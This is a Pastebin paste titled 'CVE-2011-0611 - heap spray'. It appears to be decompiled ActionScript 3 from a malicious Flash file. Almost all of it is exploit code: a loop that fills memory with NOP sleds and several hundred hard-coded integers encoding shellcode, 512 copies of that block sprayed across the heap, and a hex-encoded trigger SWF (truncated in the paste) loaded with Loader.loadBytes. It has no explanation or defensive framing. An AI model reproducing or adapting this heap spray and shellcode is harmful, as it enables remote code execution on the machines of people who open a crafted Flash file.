Advertisement
villy

CVE-2011-0611 - heap spray

Apr 12th, 2011
2,687
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //ActionScript 3.0
  2. //  package _513_fla
  3. //    class MainTimeline
  4. package _513_fla
  5. {
  6.     import adobe.utils.*;
  7.     import flash.accessibility.*;
  8.     import flash.desktop.*;
  9.     import flash.display.*;
  10.     import flash.errors.*;
  11.     import flash.events.*;
  12.     import flash.external.*;
  13.     import flash.filters.*;
  14.     import flash.geom.*;
  15.     import flash.globalization.*;
  16.     import flash.media.*;
  17.     import flash.net.*;
  18.     import flash.net.drm.*;
  19.     import flash.printing.*;
  20.     import flash.profiler.*;
  21.     import flash.sampler.*;
  22.     import flash.sensors.*;
  23.     import flash.system.*;
  24.     import flash.text.*;
  25.     import flash.text.engine.*;
  26.     import flash.text.ime.*;
  27.     import flash.ui.*;
  28.     import flash.utils.*;
  29.     import flash.xml.*;
  30.    
  31.     public dynamic class MainTimeline extends flash.display.MovieClip
  32.     {
  33.         public function MainTimeline()
  34.         {
  35.             super();
  36.             addFrameScript(0, this.frame1);
  37.             return;
  38.         }
  39.  
  40.         public function hexToBin(arg1:String):flash.utils.ByteArray
  41.         {
  42.             var loc1:*=null;
  43.             var loc2:*=new flash.utils.ByteArray();
  44.             var loc3:*=arg1.length;
  45.             var loc4:*=0;
  46.             loc2.endian = flash.utils.Endian.LITTLE_ENDIAN;
  47.             while (loc4 < loc3)
  48.             {
  49.                 loc1 = arg1.charAt(loc4) + arg1.charAt(loc4 + 1);
  50.                 loc2.writeByte(parseInt(loc1, 16));
  51.                 loc4 = loc4 + 2;
  52.             }
  53.             return loc2;
  54.         }
  55.  
  56.         function frame1():*
  57.         {
  58.             this.s = new flash.utils.ByteArray();
  59.             this.s3 = new flash.utils.ByteArray();
  60.             this.a = new Array();
  61.             this.t = "4657530ACC0500007800055F00000FA000001801004.... [bugly swf]....";
  62.             this.i = 0;
  63.             while (this.i < 1024)
  64.             {
  65.                 this.s3.writeByte(17);
  66.                 var loc1:*;
  67.                 var loc2:*=((loc1 = this).i + 1);
  68.                 loc1.i = loc2;
  69.             }
  70.             this.i = 0;
  71.             while (this.i < 1023)
  72.             {
  73.                 this.s.writeBytes(this.s3, 0, this.s3.length);
  74.                 loc2 = ((loc1 = this).i + 1);
  75.                 loc1.i = loc2;
  76.             }
  77.             this.s.writeInt(1094795585);
  78.             this.s.writeInt(2425393296);
  79.             this.s.writeInt(2425393296);
  80.             this.s.writeInt(2425393296);
  81.             this.s.writeInt(2425393296);
  82.             this.s.writeInt(2179735553);
  83.             this.s.writeInt(35836);
  84.             this.s.writeInt(2210858183);
  85.             this.s.writeInt(1197215924);
  86.             this.s.writeInt(100714247);
  87.             this.s.writeInt(846500108);
  88.             this.s.writeInt(3343320206);
  89.             this.s.writeInt(319466695);
  90.             this.s.writeInt(1191721442);
  91.             this.s.writeInt(2105788231);
  92.             this.s.writeInt(210760216);
  93.             this.s.writeInt(1640449808);
  94.             this.s.writeInt(2469586068);
  95.             this.s.writeInt(3343324240);
  96.             this.s.writeInt(3583757255);
  97.             this.s.writeInt(1192772542);
  98.             this.s.writeInt(2900084551);
  99.             this.s.writeInt(481441295);
  100.             this.s.writeInt(331826976);
  101.             this.s.writeInt(3297582964);
  102.             this.s.writeInt(3343328337);
  103.             this.s.writeInt(799146439);
  104.             this.s.writeInt(1193826150);
  105.             this.s.writeInt(234866503);
  106.             this.s.writeInt(748390283);
  107.             this.s.writeInt(3855042352);
  108.             this.s.writeInt(3987734452);
  109.             this.s.writeInt(3343332546);
  110.             this.s.writeInt(424346055);
  111.             this.s.writeInt(1194884592);
  112.             this.s.writeInt(2778384199);
  113.             this.s.writeInt(1021586324);
  114.             this.s.writeInt(3318171456);
  115.             this.s.writeInt(3969736612);
  116.             this.s.writeInt(3343336652);
  117.             this.s.writeInt(1999867881);
  118.             this.s.writeInt(2886008832);
  119.             this.s.writeInt(868246689);
  120.             this.s.writeInt(805306368);
  121.             this.s.writeInt(2336230539);
  122.             this.s.writeInt(1075088128);
  123.             this.s.writeInt(2332068672);
  124.             this.s.writeInt(277604491);
  125.             this.s.writeInt(4150923609);
  126.             this.s.writeInt(3896902912);
  127.             this.s.writeInt(14875067);
  128.             this.s.writeInt(134746385);
  129.             this.s.writeInt(3338890868);
  130.             this.s.writeInt(1684850499);
  131.             this.s.writeInt(74186752);
  132.             this.s.writeInt(5475078);
  133.             this.s.writeInt(3892839680);
  134.             this.s.writeInt(9169002);
  135.             this.s.writeInt(22669344);
  136.             this.s.writeInt(83886306);
  137.             this.s.writeInt(4186697345);
  138.             this.s.writeInt(3959424000);
  139.             this.s.writeInt(3391625);
  140.             this.s.writeInt(1160809341);
  141.             this.s.writeInt(1552106800);
  142.             this.s.writeInt(73927949);
  143.             this.s.writeInt(286392181);
  144.             this.s.writeInt(822039812);
  145.             this.s.writeInt(2214133620);
  146.             this.s.writeInt(3963420784);
  147.             this.s.writeInt(29413);
  148.             this.s.writeInt(1778412032);
  149.             this.s.writeInt(1778412034);
  150.             this.s.writeInt(1778420549);
  151.             this.s.writeInt(810614613);
  152.             this.s.writeInt(879362154);
  153.             this.s.writeInt(6946922);
  154.             this.s.writeInt(72387397);
  155.             this.s.writeInt(956289155);
  156.             this.s.writeInt(4160779457);
  157.             this.s.writeInt(2373976176);
  158.             this.s.writeInt(35584);
  159.             this.s.writeInt(1024487424);
  160.             this.s.writeInt(7713386);
  161.             this.s.writeInt(6946922);
  162.             this.s.writeInt(6947434);
  163.             this.s.writeInt(9127216);
  164.             this.s.writeInt(1358910772);
  165.             this.s.writeInt(1778412032);
  166.             this.s.writeInt(1778412036);
  167.             this.s.writeInt(1351304504);
  168.             this.s.writeInt(4291854828);
  169.             this.s.writeInt(262144);
  170.             this.s.writeInt(2348057542);
  171.             this.s.writeInt(76357203);
  172.             this.s.writeInt(1745879552);
  173.             this.s.writeInt(9264644);
  174.             this.s.writeInt(1399456336);
  175.             this.s.writeInt(1795132229);
  176.             this.s.writeInt(1157615755);
  177.             this.s.writeInt(1174956544);
  178.             this.s.writeInt(1778411520);
  179.             this.s.writeInt(16777320);
  180.             this.s.writeInt(67375377);
  181.             this.s.writeInt(1795117162);
  182.             this.s.writeInt(6947211);
  183.             this.s.writeInt(1159004112);
  184.             this.s.writeInt(3347055620);
  185.             this.s.writeInt(286326784);
  186.             this.s.writeInt(47108);
  187.             this.s.writeInt(68227465);
  188.             this.s.writeInt(2231369984);
  189.             this.s.writeInt(8514560);
  190.             this.s.writeInt(16777355);
  191.             this.s.writeInt(3431566596);
  192.             this.s.writeInt(16777297);
  193.             this.s.writeInt(1744830720);
  194.             this.s.writeInt(9127228);
  195.             this.s.writeInt(4291854828);
  196.             this.s.writeInt(65536);
  197.             this.s.writeInt(2341274625);
  198.             this.s.writeInt(35329);
  199.             this.s.writeInt(1006662729);
  200.             this.s.writeInt(2342323201);
  201.             this.s.writeInt(33731);
  202.             this.s.writeInt(76127492);
  203.             this.s.writeInt(16777352);
  204.             this.s.writeInt(69513274);
  205.             this.s.writeInt(2286167041);
  206.             this.s.writeInt(2952824900);
  207.             this.s.writeInt(604146652);
  208.             this.s.writeInt(2370053124);
  209.             this.s.writeInt(1744830720);
  210.             this.s.writeInt(5264267);
  211.             this.s.writeInt(1161887696);
  212.             this.s.writeInt(2370577412);
  213.             this.s.writeInt(2342322177);
  214.             this.s.writeInt(35329);
  215.             this.s.writeInt(1006662665);
  216.             this.s.writeInt(939750832);
  217.             this.s.writeInt(1094947051);
  218.             this.s.writeInt(4052552740);
  219.             this.s.writeInt(2307719169);
  220.             this.s.writeInt(16705);
  221.             this.s.writeInt(2315487233);
  222.             this.s.writeInt(2155544832);
  223.             this.s.writeInt(1946585667);
  224.             this.s.writeInt(21071873);
  225.             this.s.writeInt(1128481084);
  226.             this.s.writeInt(7727559);
  227.             this.s.writeInt(1107238912);
  228.             this.s.writeInt(37055);
  229.             this.s.writeInt(101060881);
  230.             this.s.writeInt(2179858433);
  231.             this.s.writeInt(22376);
  232.             this.s.writeInt(65536);
  233.             this.s.writeInt(4283762739);
  234.             this.s.writeInt(3225452604);
  235.             this.s.writeInt(117470713);
  236.             this.s.writeInt(2303025351);
  237.             this.s.writeInt(67591283);
  238.             this.s.writeInt(1668728644);
  239.             this.s.writeInt(117729391);
  240.             this.s.writeInt(1937033028);
  241.             this.s.writeInt(117976677);
  242.             this.s.writeInt(2019935812);
  243.             this.s.writeInt(118227050);
  244.             this.s.writeInt(6946922);
  245.             this.s.writeInt(40501354);
  246.             this.s.writeInt(6815744);
  247.             this.s.writeInt(4216715);
  248.             this.s.writeInt(1158735930);
  249.             this.s.writeInt(50331779);
  250.             this.s.writeInt(4160753550);
  251.             this.s.writeInt(704839680);
  252.             this.s.writeInt(2303014087);
  253.             this.s.writeInt(1161822208);
  254.             this.s.writeInt(27136);
  255.             this.s.writeInt(1778411520);
  256.             this.s.writeInt(1879048331);
  257.             this.s.writeInt(1160794367);
  258.             this.s.writeInt(1427663360);
  259.             this.s.writeInt(2370125904);
  260.             this.s.writeInt(1779455743);
  261.             this.s.writeInt(1966145365);
  262.             this.s.writeInt(478873194);
  263.             this.s.writeInt(6946896);
  264.             this.s.writeInt(2336567376);
  265.             this.s.writeInt(4283766983);
  266.             this.s.writeInt(1161822208);
  267.             this.s.writeInt(51013);
  268.             this.s.writeInt(1140850688);
  269.             this.s.writeInt(9133572);
  270.             this.s.writeInt(1778421061);
  271.             this.s.writeInt(1079011328);
  272.             this.s.writeInt(67108950);
  273.             this.s.writeInt(4285870335);
  274.             this.s.writeInt(1427911625);
  275.             this.s.writeInt(3103785984);
  276.             this.s.writeInt(8420366);
  277.             this.s.writeInt(4278219788);
  278.             this.s.writeInt(2155613951);
  279.             this.s.writeInt(2238973312);
  280.             this.s.writeInt(1947139973);
  281.             this.s.writeInt(3807087555);
  282.             this.s.writeInt(754975744);
  283.             this.s.writeInt(8648704);
  284.             this.s.writeInt(2130938205);
  285.             this.s.writeInt(1080688781);
  286.             this.s.writeInt(1162105087);
  287.             this.s.writeInt(1967150847);
  288.             this.s.writeInt(1966407509);
  289.             this.s.writeInt(545385216);
  290.             this.s.writeInt(67108995);
  291.             this.s.writeInt(4211113896);
  292.             this.s.writeInt(4285871359);
  293.             this.s.writeInt(1428731916);
  294.             this.s.writeInt(202445255);
  295.             this.s.writeInt(6516068);
  296.             this.s.writeInt(784809988);
  297.             this.s.writeInt(1702389024);
  298.             this.s.writeInt(3342862383);
  299.             this.s.writeInt(1663050439);
  300.             this.s.writeInt(1074537844);
  301.             this.s.writeInt(1701693248);
  302.             this.s.writeInt(275785052);
  303.             this.s.writeInt(1942437908);
  304.             this.s.writeInt(1668704367);
  305.             this.s.writeInt(3342866547);
  306.             this.s.writeInt(1949197767);
  307.             this.s.writeInt(1075607653);
  308.             this.s.writeInt(570452480);
  309.             this.s.writeInt(1351304484);
  310.             this.s.writeInt(3896771072);
  311.             this.s.writeInt(3393931);
  312.             this.s.writeInt(1163970308);
  313.             this.s.writeInt(121717057);
  314.             this.s.writeInt(1103578119);
  315.             this.s.writeInt(67108864);
  316.             this.s.writeInt(6946922);
  317.             this.s.writeInt(6947434);
  318.             this.s.writeInt(6946920);
  319.             this.s.writeInt(64);
  320.             this.s.writeInt(1468744976);
  321.             this.s.writeInt(3893887488);
  322.             this.s.writeInt(8648704);
  323.             this.s.writeInt(260966402);
  324.             this.s.writeInt(35141);
  325.             this.s.writeInt(879362154);
  326.             this.s.writeInt(6815856);
  327.             this.s.writeInt(35653);
  328.             this.s.writeInt(810614613);
  329.             this.s.writeInt(409600141);
  330.             this.s.writeInt(1161842794);
  331.             this.s.writeInt(274136949);
  332.             this.s.writeInt(822039836);
  333.             this.s.writeInt(2338195562);
  334.             this.s.writeInt(6946899);
  335.             this.s.writeInt(2336567376);
  336.             this.s.writeInt(4283766983);
  337.             this.s.writeInt(1161822208);
  338.             this.s.writeInt(51013);
  339.             this.s.writeInt(1140850688);
  340.             this.s.writeInt(9133580);
  341.             this.s.writeInt(1778421061);
  342.             this.s.writeInt(1079011328);
  343.             this.s.writeInt(67108950);
  344.             this.s.writeInt(4285870335);
  345.             this.s.writeInt(1427911625);
  346.             this.s.writeInt(3103785984);
  347.             this.s.writeInt(8420366);
  348.             this.s.writeInt(4278219788);
  349.             this.s.writeInt(2155613951);
  350.             this.s.writeInt(2238973312);
  351.             this.s.writeInt(1947139973);
  352.             this.s.writeInt(3807087555);
  353.             this.s.writeInt(754975744);
  354.             this.s.writeInt(8648704);
  355.             this.s.writeInt(2130938205);
  356.             this.s.writeInt(1080688781);
  357.             this.s.writeInt(1162105087);
  358.             this.s.writeInt(1967150847);
  359.             this.s.writeInt(1966407509);
  360.             this.s.writeInt(545385216);
  361.             this.s.writeInt(67108995);
  362.             this.s.writeInt(4211113896);
  363.             this.s.writeInt(4285871359);
  364.             this.s.writeInt(1428718060);
  365.             this.s.writeInt(131072);
  366.             this.s.writeInt(3188065809);
  367.             this.s.writeInt(290899782);
  368.             this.s.writeInt(3496176996);
  369.             this.s.writeInt(784811732);
  370.             this.s.writeInt(1702389024);
  371.             this.s.writeInt(3343308847);
  372.             this.s.writeInt(1663049927);
  373.             this.s.writeInt(1188831264);
  374.             this.s.writeInt(539150150);
  375.             this.s.writeInt(3764676978);
  376.             this.s.writeInt(549930724);
  377.             this.s.writeInt(796074021);
  378.             this.s.writeInt(3343313015);
  379.             this.s.writeInt(1768842439);
  380.             this.s.writeInt(1189898610);
  381.             this.s.writeInt(626837318);
  382.             this.s.writeInt(4034099571);
  383.             this.s.writeInt(1959216884);
  384.             this.s.writeInt(1701655346);
  385.             this.s.writeInt(3343317084);
  386.             this.s.writeInt(707687367);
  387.             this.s.writeInt(1190951283);
  388.             this.s.writeInt(640075526);
  389.             this.s.writeInt(1952543595);
  390.             this.s.writeInt(3343254635);
  391.             this.s.writeInt(1768713415);
  392.             this.s.writeInt(1174937647);
  393.             this.s.writeInt(1768802118);
  394.             this.s.writeInt(203450487);
  395.             this.s.writeInt(1892107792);
  396.             this.s.writeInt(778401893);
  397.             this.s.writeInt(3343258656);
  398.             this.s.writeInt(795222215);
  399.             this.s.writeInt(1175987744);
  400.             this.s.writeInt(539019078);
  401.             this.s.writeInt(471867424);
  402.             this.s.writeInt(549930528);
  403.             this.s.writeInt(1684632096);
  404.             this.s.writeInt(3343262752);
  405.             this.s.writeInt(794894535);
  406.             this.s.writeInt(1177034799);
  407.             this.s.writeInt(1931528006);
  408.             this.s.writeInt(740652905);
  409.             this.s.writeInt(1858553392);
  410.             this.s.writeInt(1684632101);
  411.             this.s.writeInt(3343266908);
  412.             this.s.writeInt(1937339335);
  413.             this.s.writeInt(1178104933);
  414.             this.s.writeInt(1832109894);
  415.             this.s.writeInt(1009933354);
  416.             this.s.writeInt(784811584);
  417.             this.s.writeInt(1836278560);
  418.             this.s.writeInt(3343270950);
  419.             this.s.writeInt(639639751);
  420.             this.s.writeInt(1179131936);
  421.             this.s.writeInt(543409990);
  422.             this.s.writeInt(1282371705);
  423.             this.s.writeInt(549930576);
  424.             this.s.writeInt(628385133);
  425.             this.s.writeInt(3343275120);
  426.             this.s.writeInt(626810055);
  427.             this.s.writeInt(1180188993);
  428.             this.s.writeInt(1094829894);
  429.             this.s.writeInt(1545609248);
  430.             this.s.writeInt(545506912);
  431.             this.s.writeInt(2425208064);
  432.             this.s.writeInt(16777355);
  433.             this.s.writeInt(1062192647);
  434.             this.s.writeInt(579471240);
  435.             this.s.writeInt(105269052);
  436.             this.s.writeInt(7730886);
  437.             this.s.writeInt(1191125702);
  438.             this.s.writeInt(102811206);
  439.             this.s.writeInt(19908166);
  440.             this.s.writeInt(41535046);
  441.             this.s.writeInt(52479558);
  442.             this.s.writeInt(69649990);
  443.             this.s.writeInt(86410182);
  444.             this.s.writeInt(109952256);
  445.             this.s.writeInt(16777355);
  446.             this.s.writeInt(1062177287);
  447.             this.s.writeInt(2282112583);
  448.             this.s.writeInt(1006663158);
  449.             this.s.writeInt(3326541602);
  450.             this.s.writeInt(3322282078);
  451.             this.s.writeInt(2213425258);
  452.             this.s.writeInt(5671749);
  453.             this.s.writeInt(619185920);
  454.             this.s.writeInt(27391);
  455.             this.s.writeInt(1795161941);
  456.             this.s.writeInt(209729768);
  457.             this.s.writeInt(1946845240);
  458.             this.s.writeInt(3916694912);
  459.             this.s.writeInt(954955025);
  460.             this.s.writeInt(2172126608);
  461.             this.s.writeInt(2425393268);
  462.             this.s.writeInt(143392597);
  463.             this.s.writeInt(2347535680);
  464.             this.s.writeInt(100655185);
  465.             this.s.writeInt(1451980092);
  466.             this.s.writeInt(2339647096);
  467.             this.s.writeInt(66410123);
  468.             this.s.writeInt(1981809653);
  469.             this.s.writeInt(868829505);
  470.             this.s.writeInt(2902705459);
  471.             this.s.writeInt(3675242000);
  472.             this.s.writeInt(987132936);
  473.             this.s.writeInt(3251308291);
  474.             this.s.writeInt(3661687793);
  475.             this.s.writeInt(991917543);
  476.             this.s.writeInt(1586191908);
  477.             this.s.writeInt(64841355);
  478.             this.s.writeInt(206277470);
  479.             this.s.writeInt(470015371);
  480.             this.s.writeInt(76219333);
  481.             this.s.writeInt(2875087299);
  482.             this.s.writeInt(3897555711);
  483.             this.s.writeInt(4287664272);
  484.             this.s.writeInt(2425393296);
  485.             this.s.writeInt(2425393296);
  486.             this.s.writeInt(2425393296);
  487.             this.s.writeInt(2425393296);
  488.             this.s.writeInt(2425393296);
  489.             this.s.writeInt(2425393296);
  490.             trace(this.s.length);
  491.             this.i = 0;
  492.             while (this.i < 512)
  493.             {
  494.                 this.s2 = new flash.utils.ByteArray();
  495.                 this.s2.writeBytes(this.s, 0, this.s.length);
  496.                 trace(this.s2.length);
  497.                 this.a.push(this.s2);
  498.                 loc2 = ((loc1 = this).i + 1);
  499.                 loc1.i = loc2;
  500.             }
  501.             this.r = this.hexToBin(this.t);
  502.             this.ldr = new flash.display.Loader();
  503.             this.ldr.loadBytes(this.r);
  504.             stop();
  505.             return;
  506.         }
  507.  
  508.         public var s:*;
  509.  
  510.         public var s2:*;
  511.  
  512.         public var s3:*;
  513.  
  514.         public var a:*;
  515.  
  516.         public var t:*;
  517.  
  518.         public var i:*;
  519.  
  520.         public var r:flash.utils.ByteArray;
  521.  
  522.         public var ldr:flash.display.Loader;
  523.     }
  524. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement